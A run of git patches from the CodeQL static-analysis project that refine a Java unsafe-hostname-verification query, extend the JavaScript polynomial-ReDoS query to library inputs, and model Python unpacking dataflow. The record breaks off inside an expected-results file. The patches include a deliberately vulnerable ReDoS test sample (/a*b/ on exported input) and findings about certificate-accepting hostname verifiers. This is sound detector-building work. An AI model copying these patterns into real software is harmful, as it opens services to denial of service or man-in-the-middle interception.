UnsafeHostnameVerification.java:81:55:81:62 | verifier | UnsafeHostnameVerification.java:66:37:80:9 | new (...) : new HostnameVerifier(...) { ... } | UnsafeHostnameVerification.java:81:55:81:62 | verifier | $@ that is defined $@ and accepts any certificate as valid, is used here. | UnsafeHostnameVerification.java:66:37:80:9 | new (...) : new HostnameVerifier(...) { ... } | This hostname verifier | UnsafeHostnameVerification.java:66:41:66:56 | new HostnameVerifier(...) { ... } | here | +| UnsafeHostnameVerification.java:94:55:94:62 | verifier | UnsafeHostnameVerification.java:88:37:93:9 | new (...) : new HostnameVerifier(...) { ... } | UnsafeHostnameVerification.java:94:55:94:62 | verifier | $@ that is defined $@ and accepts any certificate as valid, is used here. | UnsafeHostnameVerification.java:88:37:93:9 | new (...) : new HostnameVerifier(...) { ... } | This hostname verifier | UnsafeHostnameVerification.java:88:41:88:56 | new HostnameVerifier(...) { ... } | here | From 1901f6bf55fdee3de7e22a2bab7935b878f7c03e Mon Sep 17 00:00:00 2001 From: intrigus <abc123zeus@live.de> Date: Tue, 12 Jan 2021 15:36:55 +0100 Subject: [PATCH 0530/1241] Java: Make @id @name of query more similar. --- .../ql/src/Security/CWE/CWE-297/UnsafeHostnameVerification.ql | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/java/ql/src/Security/CWE/CWE-297/UnsafeHostnameVerification.ql b/java/ql/src/Security/CWE/CWE-297/UnsafeHostnameVerification.ql index 3ab49a866bb..9c060565f28 100644 --- a/java/ql/src/Security/CWE/CWE-297/UnsafeHostnameVerification.ql +++ b/java/ql/src/Security/CWE/CWE-297/UnsafeHostnameVerification.ql @@ -1,10 +1,10 @@ /** - * @name Disabled hostname verification + * @name Unsafe hostname verification * @description Marking a certificate as valid for a host without checking the certificate hostname allows an attacker to perform a machine-in-the-middle attack. * @kind path-problem * @problem.severity error * @precision high - * @id java/insecure-hostname-verifier + * @id java/unsafe-hostname-verification * @tags security * external/cwe/cwe-297 */ From 2931e1f3fb4f68205c20db825d85d81f6782631b Mon Sep 17 00:00:00 2001 From: intrigus <abc123zeus@live.de> Date: Tue, 12 Jan 2021 15:37:45 +0100 Subject: [PATCH 0531/1241] Java: Add change note for #4771 --- java/change-notes/2021-01-12-unsafe-hostname-verification.md | 4 ++++ 1 file changed, 4 insertions(+) create mode 100644 java/change-notes/2021-01-12-unsafe-hostname-verification.md diff --git a/java/change-notes/2021-01-12-unsafe-hostname-verification.md b/java/change-notes/2021-01-12-unsafe-hostname-verification.md new file mode 100644 index 00000000000..6da83c2509e --- /dev/null +++ b/java/change-notes/2021-01-12-unsafe-hostname-verification.md @@ -0,0 +1,4 @@ +lgtm,codescanning +* A new query "Unsafe hostname verification" + (`java/unsafe-hostname-verification`) has been added. This query finds unsafe + `HostnameVerifier`s that allow man-in-the-middle attacks. From 3f09a047ae10e96cc29f50a8154256fa784a9c7f Mon Sep 17 00:00:00 2001 From: Geoffrey White <40627776+geoffw0@users.noreply.github.com> Date: Tue, 12 Jan 2021 14:52:11 +0000 Subject: [PATCH 0532/1241] C++: Test comments. --- .../dataflow/taint-tests/constructor_delegation.cpp | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/cpp/ql/test/library-tests/dataflow/taint-tests/constructor_delegation.cpp b/cpp/ql/test/library-tests/dataflow/taint-tests/constructor_delegation.cpp index 3ee388347a6..d1acc67f81f 100644 --- a/cpp/ql/test/library-tests/dataflow/taint-tests/constructor_delegation.cpp +++ b/cpp/ql/test/library-tests/dataflow/taint-tests/constructor_delegation.cpp @@ -5,10 +5,10 @@ void sink(...); class MyValue { public: - MyValue(int _x) : x(_x) {}; // taint flows directly from _x to x - MyValue(int _x, bool ex) : MyValue(_x) {}; // taint flows indirectly from _x to x - MyValue(int _x, int _y) : MyValue(_x + _y) {}; // taint flows indirectly from _x to x - MyValue(int _x, bool ex1, bool ex2) : MyValue(0) {}; // taint doesn't flow to _x + MyValue(int _x) : x(_x) {}; // taint flows from parameter `_x` to member variable `x` + MyValue(int _x, bool ex) : MyValue(_x) {}; // taint flows from parameter `_x` to member variable `x` + MyValue(int _x, int _y) : MyValue(_x + _y) {}; // taint flows from parameters `_x` and `_y` to member variable `x` + MyValue(int _x, bool ex1, bool ex2) : MyValue(0) {}; // taint doesn't flow from parameter `_x` int x; }; @@ -16,7 +16,7 @@ public: class MyDerivedValue : public MyValue { public: - MyDerivedValue(bool ex, int _x) : MyValue(_x) {}; // taint flows indirectly from _x to x + MyDerivedValue(bool ex, int _x) : MyValue(_x) {}; // taint flows from parameter `_x` to member variable `x` }; void test_inits() From eaee5c2d8733a90aade4abb5d766ae71002ddaff Mon Sep 17 00:00:00 2001 From: Erik Krogh Kristensen <erik-krogh@github.com> Date: Tue, 12 Jan 2021 14:04:55 +0100 Subject: [PATCH 0533/1241] add library input as source for `js/polynomial-redos` --- .../ql/src/Performance/PolynomialReDoS.ql | 3 +- .../PolynomialReDoSCustomizations.qll | 31 +++++++++++++++++-- .../ReDoS/PolynomialBackTracking.expected | 1 + .../ReDoS/PolynomialReDoS.expected | 9 ++++++ .../query-tests/Performance/ReDoS/lib/lib.js | 5 +++ .../Performance/ReDoS/package.json | 5 +++ 6 files changed, 51 insertions(+), 3 deletions(-) create mode 100644 javascript/ql/test/query-tests/Performance/ReDoS/lib/lib.js create mode 100644 javascript/ql/test/query-tests/Performance/ReDoS/package.json diff --git a/javascript/ql/src/Performance/PolynomialReDoS.ql b/javascript/ql/src/Performance/PolynomialReDoS.ql index f77a312ed9c..393faef10dd 100644 --- a/javascript/ql/src/Performance/PolynomialReDoS.ql +++ b/javascript/ql/src/Performance/PolynomialReDoS.ql @@ -25,4 +25,5 @@ where sink.getNode().(Sink).getRegExp().(PolynomialBackTrackingTerm).isAtEndLine() ) select sink.getNode(), source, sink, "This expensive $@ use depends on $@.", - sink.getNode().(Sink).getRegExp(), "regular expression", source.getNode(), "a user-provided value" + sink.getNode().(Sink).getRegExp(), "regular expression", source.getNode(), + source.getNode().(Source).describe() diff --git a/javascript/ql/src/semmle/javascript/security/performance/PolynomialReDoSCustomizations.qll b/javascript/ql/src/semmle/javascript/security/performance/PolynomialReDoSCustomizations.qll index 3392342db6b..bcd267d8487 100644 --- a/javascript/ql/src/semmle/javascript/security/performance/PolynomialReDoSCustomizations.qll +++ b/javascript/ql/src/semmle/javascript/security/performance/PolynomialReDoSCustomizations.qll @@ -13,10 +13,17 @@ module PolynomialReDoS { */ abstract class Source extends DataFlow::Node { /** - * Gets the kind of source that is being accesed. See `HTTP::RequestInputAccess::getKind()`. - * Can be one of "parameter", "header", "body", "url", "cookie". + * Gets the kind of source that is being accesed. + * + * Is either a kind from `HTTP::RequestInputAccess::getKind()`, or "library". */ abstract string getKind(); + + /** + * Gets a string that describes the source. + * For use in the alert message + */ + string describe() { result = "a user-provided value" } } /** @@ -108,4 +115,24 @@ module PolynomialReDoS { e = input.asExpr() } } + + private import semmle.javascript.PackageExports as Exports + + /** + * A parameter of an exported function, seen as a source for polynomial-redos. + */ + class ExternalInputSource extends Source, DataFlow::ParameterNode { + ExternalInputSource() { + exists(int bound, DataFlow::FunctionNode func | + func = + Exports::getAValueExportedBy(Exports::getTopmostPackageJSON()) + .getABoundFunctionValue(bound) and + this = func.getParameter(any(int arg | arg >= bound)) + ) + } + + override string getKind() { result = "library" } + + override string describe() { result = "library input" } + } } diff --git a/javascript/ql/test/query-tests/Performance/ReDoS/PolynomialBackTracking.expected b/javascript/ql/test/query-tests/Performance/ReDoS/PolynomialBackTracking.expected index ee861fb16d8..c351f3f902e 100644 --- a/javascript/ql/test/query-tests/Performance/ReDoS/PolynomialBackTracking.expected +++ b/javascript/ql/test/query-tests/Performance/ReDoS/PolynomialBackTracking.expected @@ -24,6 +24,7 @@ | highlight.js:38:54:38:59 | [^()]* | Strings starting with 'A((' and with many repetitions of ''' can start matching anywhere after the start of the preceeding [^()]* | | highlight.js:38:64:38:69 | [^()]* | Strings starting with 'A(' and with many repetitions of ''' can start matching anywhere after the start of the preceeding [^()]* | | highlight.js:39:22:39:24 | \\w* | Strings starting with 'A' and with many repetitions of 'A' can start matching anywhere after the start of the preceeding [a-zA-Z_]\\w*\\([^()]*(\\([^()]*(\\([^()]*\\)[^()]*)*\\)[^()]*)*\\)\\s*\\{ | +| lib/lib.js:1:15:1:16 | a* | Strings with many repetitions of 'a' can start matching anywhere after the start of the preceeding a*b | | polynomial-redos.js:7:24:7:26 | \\s+ | Strings with many repetitions of ' ' can start matching anywhere after the start of the preceeding \\s+$ | | polynomial-redos.js:8:17:8:18 | * | Strings with many repetitions of ' ' can start matching anywhere after the start of the preceeding *, * | | polynomial-redos.js:9:19:9:21 | \\s* | Strings with many repetitions of ' ' can start matching anywhere after the start of the preceeding \\s*\\n\\s* | diff --git a/javascript/ql/test/query-tests/Performance/ReDoS/PolynomialReDoS.expected b/javascript/ql/test/query-tests/Performance/ReDoS/PolynomialReDoS.expected index 70e4720bcfe..71990d6b919 100644 --- a/javascript/ql/test/query-tests/Performance/ReDoS/PolynomialReDoS.expected +++ b/javascript/ql/test/query-tests/Performance/ReDoS/PolynomialReDoS.expected @@ -1,4 +1,8 @@ nodes +| lib/lib.js:3:28:3:31 | name | +| lib/lib.js:3:28:3:31 | name | +| lib/lib.js:4:14:4:17 | name | +| lib/lib.js:4:14:4:17 | name | | polynomial-redos.js:5:6:5:32 | tainted | | polynomial-redos.js:5:16:5:32 | req.query.tainted | | polynomial-redos.js:5:16:5:32 | req.query.tainted | @@ -135,6 +139,10 @@ nodes | polynomial-redos.js:118:2:118:8 | tainted | | polynomial-redos.js:118:2:118:8 | tainted | edges +| lib/lib.js:3:28:3:31 | name | lib/lib.js:4:14:4:17 | name | +| lib/lib.js:3:28:3:31 | name | lib/lib.js:4:14:4:17 | name | +| lib/lib.js:3:28:3:31 | name | lib/lib.js:4:14:4:17 | name | +| lib/lib.js:3:28:3:31 | name | lib/lib.js:4:14:4:17 | name | | polynomial-redos.js:5:6:5:32 | tainted | polynomial-redos.js:7:2:7:8 | tainted | | polynomial-redos.js:5:6:5:32 | tainted | polynomial-redos.js:7:2:7:8 | tainted | | polynomial-redos.js:5:6:5:32 | tainted | polynomial-redos.js:8:2:8:8 | tainted | @@ -266,6 +274,7 @@ edges | polynomial-redos.js:68:18:68:24 | req.url | polynomial-redos.js:68:18:68:24 | req.url | | polynomial-redos.js:69:18:69:25 | req.body | polynomial-redos.js:69:18:69:25 | req.body | #select +| lib/lib.js:4:14:4:17 | name | lib/lib.js:3:28:3:31 | name | lib/lib.js:4:14:4:17 | name | This expensive $@ use depends on $@. | lib/lib.js:1:15:1:16 | a* | regular expression | lib/lib.js:3:28:3:31 | name | library input | | polynomial-redos.js:7:2:7:8 | tainted | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:7:2:7:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:7:24:7:26 | \\s+ | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | | polynomial-redos.js:8:2:8:8 | tainted | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:8:2:8:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:8:17:8:18 | * | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | | polynomial-redos.js:9:2:9:8 | tainted | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:9:2:9:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:9:19:9:21 | \\s* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | diff --git a/javascript/ql/test/query-tests/Performance/ReDoS/lib/lib.js b/javascript/ql/test/query-tests/Performance/ReDoS/lib/lib.js new file mode 100644 index 00000000000..23ba27a32c2 --- /dev/null +++ b/javascript/ql/test/query-tests/Performance/ReDoS/lib/lib.js @@ -0,0 +1,5 @@ +var regexp = /a*b/; + +module.exports = function (name) { + regexp.test(name); // NOT OK +}; diff --git a/javascript/ql/test/query-tests/Performance/ReDoS/package.json b/javascript/ql/test/query-tests/Performance/ReDoS/package.json new file mode 100644 index 00000000000..27e480ea5c1 --- /dev/null +++ b/javascript/ql/test/query-tests/Performance/ReDoS/package.json @@ -0,0 +1,5 @@ +{ + "name": "myLib", + "version": "0.0.7", + "main": "./lib/lib.js" +} \ No newline at end of file From 0a17b0465050282074b01e8ba497c245607f1e76 Mon Sep 17 00:00:00 2001 From: Erik Krogh Kristensen <erik-krogh@github.com> Date: Tue, 12 Jan 2021 14:08:10 +0100 Subject: [PATCH 0534/1241] refactor copy-pasted code into `getAnLibraryInputParameter` --- javascript/ql/src/semmle/javascript/PackageExports.qll | 10 ++++++++++ .../UnsafeShellCommandConstructionCustomizations.qll | 7 +------ .../performance/PolynomialReDoSCustomizations.qll | 9 +-------- 3 files changed, 12 insertions(+), 14 deletions(-) diff --git a/javascript/ql/src/semmle/javascript/PackageExports.qll b/javascript/ql/src/semmle/javascript/PackageExports.qll index 545e2743eee..1ec89dfa08b 100644 --- a/javascript/ql/src/semmle/javascript/PackageExports.qll +++ b/javascript/ql/src/semmle/javascript/PackageExports.qll @@ -6,6 +6,16 @@ import javascript +/** + * Gets a parameter that is a library input to a top-level package. + */ +DataFlow::ParameterNode getAnLibraryInputParameter() { + exists(int bound, DataFlow::FunctionNode func | + func = getAValueExportedBy(getTopmostPackageJSON()).getABoundFunctionValue(bound) and + result = func.getParameter(any(int arg | arg >= bound)) + ) +} + /** * Gets the number of occurrences of "/" in `path`. */ diff --git a/javascript/ql/src/semmle/javascript/security/dataflow/UnsafeShellCommandConstructionCustomizations.qll b/javascript/ql/src/semmle/javascript/security/dataflow/UnsafeShellCommandConstructionCustomizations.qll index 589efa25c30..6ae79b723ea 100644 --- a/javascript/ql/src/semmle/javascript/security/dataflow/UnsafeShellCommandConstructionCustomizations.qll +++ b/javascript/ql/src/semmle/javascript/security/dataflow/UnsafeShellCommandConstructionCustomizations.qll @@ -52,12 +52,7 @@ module UnsafeShellCommandConstruction { */ class ExternalInputSource extends Source, DataFlow::ParameterNode { ExternalInputSource() { - exists(int bound, DataFlow::FunctionNode func | - func = - Exports::getAValueExportedBy(Exports::getTopmostPackageJSON()) - .getABoundFunctionValue(bound) and - this = func.getParameter(any(int arg | arg >= bound)) - ) and + this = Exports::getAnLibraryInputParameter() and not this.getName() = ["cmd", "command"] // looks to be on purpose. } } diff --git a/javascript/ql/src/semmle/javascript/security/performance/PolynomialReDoSCustomizations.qll b/javascript/ql/src/semmle/javascript/security/performance/PolynomialReDoSCustomizations.qll index bcd267d8487..0645589a5e6 100644 --- a/javascript/ql/src/semmle/javascript/security/performance/PolynomialReDoSCustomizations.qll +++ b/javascript/ql/src/semmle/javascript/security/performance/PolynomialReDoSCustomizations.qll @@ -122,14 +122,7 @@ module PolynomialReDoS { * A parameter of an exported function, seen as a source for polynomial-redos. */ class ExternalInputSource extends Source, DataFlow::ParameterNode { - ExternalInputSource() { - exists(int bound, DataFlow::FunctionNode func | - func = - Exports::getAValueExportedBy(Exports::getTopmostPackageJSON()) - .getABoundFunctionValue(bound) and - this = func.getParameter(any(int arg | arg >= bound)) - ) - } + ExternalInputSource() { this = Exports::getAnLibraryInputParameter() } override string getKind() { result = "library" } From d8d8b45c6a9586cc251ec5075eaa1f20ce3b18ed Mon Sep 17 00:00:00 2001 From: Rasmus Lerchedahl Petersen <yoff@github.com> Date: Tue, 12 Jan 2021 22:03:49 +0100 Subject: [PATCH 0535/1241] Python: add test annotations --- .../ql/test/experimental/dataflow/coverage/test.py | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/python/ql/test/experimental/dataflow/coverage/test.py b/python/ql/test/experimental/dataflow/coverage/test.py index 3ec8a0af3ce..4b2f227bde4 100644 --- a/python/ql/test/experimental/dataflow/coverage/test.py +++ b/python/ql/test/experimental/dataflow/coverage/test.py @@ -556,25 +556,25 @@ def test_unpacking_assignment_conversion(): # tuple ((a1, a2, a3), b, c) = ll - SINK(a1) + SINK(a1) # Flow not found SINK_F(a2) # We expect an FP as all elements are tainted - SINK(a3) + SINK(a3) # Flow not found SINK_F(b) # The list itself is not tainted SINK_F(c) # mixed [(a1, a2, a3), b, c] = ll - SINK(a1) + SINK(a1) # Flow not found SINK_F(a2) # We expect an FP as all elements are tainted - SINK(a3) + SINK(a3) # Flow not found SINK_F(b) # The list itself is not tainted SINK_F(c) # mixed differently ([a1, a2, a3], b, c) = ll - SINK(a1) + SINK(a1) # Flow not found SINK_F(a2) # We expect an FP as all elements are tainted - SINK(a3) + SINK(a3) # Flow not found SINK_F(b) # The list itself is not tainted SINK_F(c) From 4ee2f49f38a4064b9f7f6954ab825f735688eae7 Mon Sep 17 00:00:00 2001 From: Rasmus Lerchedahl Petersen <yoff@github.com> Date: Tue, 12 Jan 2021 22:19:31 +0100 Subject: [PATCH 0536/1241] Python: model conversion during unpacking --- .../dataflow/new/internal/DataFlowPrivate.qll | 258 +++++++++++++----- .../dataflow/new/internal/DataFlowPublic.qll | 25 ++ .../dataflow/coverage/dataflow.expected | 179 +++++++++++- .../experimental/dataflow/coverage/test.py | 12 +- 4 files changed, 389 insertions(+), 85 deletions(-) diff --git a/python/ql/src/semmle/python/dataflow/new/internal/DataFlowPrivate.qll b/python/ql/src/semmle/python/dataflow/new/internal/DataFlowPrivate.qll index 49734cd37f2..83daa991eb3 100644 --- a/python/ql/src/semmle/python/dataflow/new/internal/DataFlowPrivate.qll +++ b/python/ql/src/semmle/python/dataflow/new/internal/DataFlowPrivate.qll @@ -161,6 +161,8 @@ module EssaFlow { // If expressions nodeFrom.asCfgNode() = nodeTo.asCfgNode().(IfExprNode).getAnOperand() or + unpackingAssignmentDirectFlowStep(nodeFrom, nodeTo) + or // Overflow keyword argument exists(CallNode call, CallableValue callable | call = callable.getACall() and @@ -846,6 +848,8 @@ predicate storeStep(Node nodeFrom, Content c, Node nodeTo) { or comprehensionStoreStep(nodeFrom, c, nodeTo) or + unpackingAssignmentStoreStep(nodeFrom, c, nodeTo) + or attributeStoreStep(nodeFrom, c, nodeTo) or posOverflowStoreStep(nodeFrom, c, nodeTo) @@ -1010,76 +1014,196 @@ predicate subscriptReadStep(CfgNode nodeFrom, Content c, CfgNode nodeTo) { ) } -predicate unpackingAssignmentRead(CfgNode nodeFrom, Content c, ControlFlowNode readNode) { - // `a, b = iterable` - // nodeFrom = `iterable` - // readNode = `a` - // c is compatible with type of `a, b` (so tuple if it was `(a, b)`) - exists(Assign assign, SequenceNode target, int index | target.getNode() = assign.getATarget() | - nodeFrom.asExpr() = assign.getValue() and - readNode = target.getElement(index) and - ( - target instanceof ListNode and - c instanceof ListElementContent - or - target instanceof TupleNode and - c.(TupleElementContent).getIndex() = index +module unpackinAssignment { + /** Data flows from an iterable to an assigned variable. */ + predicate unpackingAssignmentReadStep(CfgNode nodeFrom, Content c, Node nodeTo) { + unpackingAssignmentToplevelReadStep(nodeFrom, c, nodeTo) + or + unpackingAssignmentInternalReadStep(nodeFrom, c, nodeTo) + or + unpackingAssignmentConvertingReadStep(nodeFrom, c, nodeTo) + or + unpackingAssignmentConvertingInternalReadStep(nodeFrom, c, nodeTo) + } + + predicate unpackingAssignmentStoreStep(Node nodeFrom, Content c, CfgNode nodeTo) { + unpackingAssignmentConvertingStoreStep(nodeFrom, c, nodeTo) + or + unpackingAssignmentConvertingInternalStoreStep(nodeFrom, c, nodeTo) + } + + predicate unpackingAssignmentRead(CfgNode nodeFrom, Content c, ControlFlowNode readNode) { + // `a, b = iterable` + // nodeFrom = `a, b` + // readNode = `a` + // c is compatible with type of `a, b` (so tuple if it was `(a, b)`) + exists(Assign assign, SequenceNode target, int index | target.getNode() = assign.getATarget() | + nodeFrom.getNode() = target and + readNode = target.getElement(index) and + ( + target instanceof ListNode and + c instanceof ListElementContent + or + target instanceof TupleNode and + c.(TupleElementContent).getIndex() = index + ) ) - ) + } + + predicate unpackingAssignmentInternalReadStep(CfgNode nodeFrom, Content c, Node nodeTo) { + // iterable unpacking + // `a, (b, (c, d)) = iterable` + // nodeFrom is `(b, (c, d))`, cfg node + // nodeTo is `b`, essa var + // or `(c, d)`, cfg node + // c is compatible with `b`s (or `(c, d)`s) index + exists( + Assign assign, SequenceNode target, SequenceNode readFrom, int index, ControlFlowNode readTo + | + target.getNode() = assign.getATarget() and + readFrom = target.getAnElement() // use contains to get deeper nesting + | + nodeFrom.getNode() = readFrom and + readTo = readFrom.getElement(index) and + ( + readTo instanceof SequenceNode and + nodeTo.asCfgNode() = readTo + or + not readTo instanceof SequenceNode and + nodeTo.asVar().getDefinition().(MultiAssignmentDefinition).getDefiningNode() = readTo + ) and + ( + readFrom instanceof ListNode and + c instanceof ListElementContent + or + readFrom instanceof TupleNode and + c.(TupleElementContent).getIndex() = index + ) + ) + } + + /** Data flows from an iterable to an assigned variable. */ + predicate unpackingAssignmentToplevelReadStep(CfgNode nodeFrom, Content c, Node nodeTo) { + // iterable unpacking + // `a, (b, c) = iterable` + // nodeFrom is `a, (b, c)`, cfg node + // nodeTo is `a`, essa var + // or `(b, c)`, cfg node + // c is compatible with `a`s (or `(b, c)`s) index + exists(ControlFlowNode readNode | unpackingAssignmentRead(nodeFrom, c, readNode) | + ( + readNode instanceof SequenceNode and + nodeTo.asCfgNode() = readNode + or + not readNode instanceof SequenceNode and + nodeTo.asVar().getDefinition().(MultiAssignmentDefinition).getDefiningNode() = readNode + ) + ) + or + unpackingAssignmentInternalReadStep(nodeFrom, c, nodeTo) + } + + predicate unpackingAssignmentDirectFlowStep(CfgNode nodeFrom, CfgNode nodeTo) { + // `a, b = iterable` + // nodeFrom = `iterable` + // readNode = `a, b` + exists(Assign assign, SequenceNode target | target.getNode() = assign.getATarget() | + nodeFrom.asExpr() = assign.getValue() and + nodeTo.getNode() = target + ) + } + + predicate unpackingAssignmentConvertingReadStep(CfgNode nodeFrom, Content c, Node nodeTo) { + // iterable unpacking + // `a, b = iterable` + // nodeFrom is `iterable` + // nodeTo is synthetic IterableElement + // c is whatever element content `iterable` might carry + // we wish to consume c, so that we can later write it back in the type of the lhs. + exists(Assign assign, SequenceNode target | target.getNode() = assign.getATarget() | + nodeFrom.asExpr() = assign.getValue() and + nodeTo = TIterableElement(target) and + ( + c instanceof ListElementContent + or + c instanceof SetElementContent + or + // do not lose precision by routing tuple content through the `IterableElement` + not target instanceof TupleNode and + // `index` refers to `nodeFrom`, but only the ones in `target` are relevant. + exists(int index | exists(target.getElement(index)) | + c.(TupleElementContent).getIndex() = index + ) + // leaving out dict content for now + ) + ) + } + + predicate unpackingAssignmentConvertingStoreStep(Node nodeFrom, Content c, CfgNode nodeTo) { + // iterable unpacking + // `a, b = iterable` + // nodeFrom is synthetic IterableElement + // nodeTo is `a, b` + // c is consistent with the type of the lhs. + exists(Assign assign, SequenceNode target | target.getNode() = assign.getATarget() | + nodeFrom = TIterableElement(target) and + nodeTo.getNode() = target and + ( + target instanceof ListNode and + c instanceof ListElementContent + or + target instanceof TupleNode and + exists(int index | exists(target.getElement(index)) | + c.(TupleElementContent).getIndex() = index + ) + ) + ) + } + + predicate unpackingAssignmentConvertingInternalReadStep(CfgNode nodeFrom, Content c, Node nodeTo) { + exists(Assign assign, SequenceNode target, SequenceNode readFrom | + target.getNode() = assign.getATarget() and + readFrom = target.getAnElement() // use contains to get deeper nesting + | + nodeFrom.getNode() = readFrom and + nodeTo = TIterableElement(readFrom) and + ( + c instanceof ListElementContent + or + c instanceof SetElementContent + or + // do not lose precision by routing tuple content through the `IterableElement` + not readFrom instanceof TupleNode and + // `index` refers to `nodeFrom`, but only the ones in `target` are relevant. + exists(int index | exists(readFrom.getElement(index)) | + c.(TupleElementContent).getIndex() = index + ) + // leaving out dict content for now + ) + ) + } + + predicate unpackingAssignmentConvertingInternalStoreStep(Node nodeFrom, Content c, CfgNode nodeTo) { + exists(Assign assign, SequenceNode target, SequenceNode readFrom | + target.getNode() = assign.getATarget() and + readFrom = target.getAnElement() // use contains to get deeper nesting + | + nodeFrom = TIterableElement(readFrom) and + nodeTo.getNode() = readFrom and + ( + readFrom instanceof ListNode and + c instanceof ListElementContent + or + readFrom instanceof TupleNode and + exists(int index | exists(readFrom.getElement(index)) | + c.(TupleElementContent).getIndex() = index + ) + ) + ) + } } -predicate unpackingAssignmentInternalReadStep(CfgNode nodeFrom, Content c, Node nodeTo) { - // iterable unpacking - // `a, (b, (c, d)) = iterable` - // nodeFrom is `(b, (c, d))`, cfg node - // nodeTo is `b`, essa var - // or `(c, d)`, cfg node - // c is compatible with `b`s (or `(c, d)`s) index - exists( - Assign assign, SequenceNode target, SequenceNode readFrom, int index, ControlFlowNode readTo - | - target.getNode() = assign.getATarget() and - readFrom = target.getAnElement() // use contains to get deeper nesting - | - nodeFrom.getNode() = readFrom and - readTo = readFrom.getElement(index) and - ( - readTo instanceof SequenceNode and - nodeTo.asCfgNode() = readTo - or - not readTo instanceof SequenceNode and - nodeTo.asVar().getDefinition().(MultiAssignmentDefinition).getDefiningNode() = readTo - ) and - ( - readFrom instanceof ListNode and - c instanceof ListElementContent - or - readFrom instanceof TupleNode and - c.(TupleElementContent).getIndex() = index - ) - ) -} - -/** Data flows from an iterable to an assigned variable. */ -predicate unpackingAssignmentReadStep(CfgNode nodeFrom, Content c, Node nodeTo) { - // iterable unpacking - // `a, (b, c) = iterable` - // nodeFrom is `iterable`, cfg node - // nodeTo is `a`, essa var - // or `(b, c)`, cfg node - // c is compatible with `a`s (or `(b, c)`s) index - exists(ControlFlowNode readNode | unpackingAssignmentRead(nodeFrom, c, readNode) | - ( - readNode instanceof SequenceNode and - nodeTo.asCfgNode() = readNode - or - not readNode instanceof SequenceNode and - nodeTo.asVar().getDefinition().(MultiAssignmentDefinition).getDefiningNode() = readNode - ) - ) - or - unpackingAssignmentInternalReadStep(nodeFrom, c, nodeTo) -} +import unpackinAssignment /** Data flows from a sequence to a call to `pop` on the sequence. */ predicate popReadStep(CfgNode nodeFrom, Content c, CfgNode nodeTo) { diff --git a/python/ql/src/semmle/python/dataflow/new/internal/DataFlowPublic.qll b/python/ql/src/semmle/python/dataflow/new/internal/DataFlowPublic.qll index c104a8bb8e7..60504da5b3c 100644 --- a/python/ql/src/semmle/python/dataflow/new/internal/DataFlowPublic.qll +++ b/python/ql/src/semmle/python/dataflow/new/internal/DataFlowPublic.qll @@ -60,6 +60,17 @@ newtype TNode = */ TKwUnpacked(CallNode call, CallableValue callable, string name) { call_unpacks(call, _, callable, name, _) + } or + /** + * A synthetic node representing that there may be an iterable element + * for `consumer` to consume. + */ + TIterableElement(SequenceNode consumer) { + exists(Assign assign, SequenceNode target | target.getNode() = assign.getATarget() | + consumer = target + or + consumer = target.getAnElement() // use containts for deeper nesting + ) } /** Helper for `Node::getEnclosingCallable`. */ @@ -319,6 +330,20 @@ class KwUnpacked extends Node, TKwUnpacked { override Location getLocation() { result = call.getLocation() } } +/** + * A synthetic node representing an iterable element. Use for changing content type + * for instance from a `ListElement` to a `TupleElement`. + */ +class IterableElement extends Node, TIterableElement { + SequenceNode consumer; + + IterableElement() { this = TIterableElement(consumer) } + + override string toString() { result = "IterableElement" } + + override Location getLocation() { result = consumer.getLocation() } +} + /** * A node that controls whether other nodes are evaluated. */ diff --git a/python/ql/test/experimental/dataflow/coverage/dataflow.expected b/python/ql/test/experimental/dataflow/coverage/dataflow.expected index 8306cf73e86..bb24a006ee1 100644 --- a/python/ql/test/experimental/dataflow/coverage/dataflow.expected +++ b/python/ql/test/experimental/dataflow/coverage/dataflow.expected @@ -65,6 +65,9 @@ edges | test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:529:10:529:15 | ControlFlowNode for SOURCE | | test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:529:30:529:35 | ControlFlowNode for SOURCE | | test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:546:10:546:15 | ControlFlowNode for SOURCE | +| test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:555:12:555:17 | ControlFlowNode for SOURCE | +| test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:555:31:555:36 | ControlFlowNode for SOURCE | +| test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:555:41:555:46 | ControlFlowNode for SOURCE | | test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:651:16:651:21 | ControlFlowNode for SOURCE | | test.py:20:1:20:6 | GSSA Variable SOURCE | test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:20:1:20:6 | GSSA Variable SOURCE | @@ -185,24 +188,89 @@ edges | test.py:509:9:509:14 | ControlFlowNode for SOURCE | test.py:511:10:511:10 | ControlFlowNode for a | | test.py:509:9:509:14 | ControlFlowNode for SOURCE | test.py:516:10:516:10 | ControlFlowNode for b | | test.py:521:10:521:15 | ControlFlowNode for SOURCE | test.py:521:10:521:26 | ControlFlowNode for Tuple [Tuple element at index 0] | -| test.py:521:10:521:26 | ControlFlowNode for Tuple [Tuple element at index 0] | test.py:522:12:522:12 | ControlFlowNode for t [Tuple element at index 0] | +| test.py:521:10:521:26 | ControlFlowNode for Tuple [Tuple element at index 0] | test.py:522:5:522:8 | ControlFlowNode for Tuple [Tuple element at index 0] | | test.py:522:5:522:5 | SSA variable a | test.py:523:10:523:10 | ControlFlowNode for a | -| test.py:522:12:522:12 | ControlFlowNode for t [Tuple element at index 0] | test.py:522:5:522:5 | SSA variable a | +| test.py:522:5:522:8 | ControlFlowNode for Tuple [Tuple 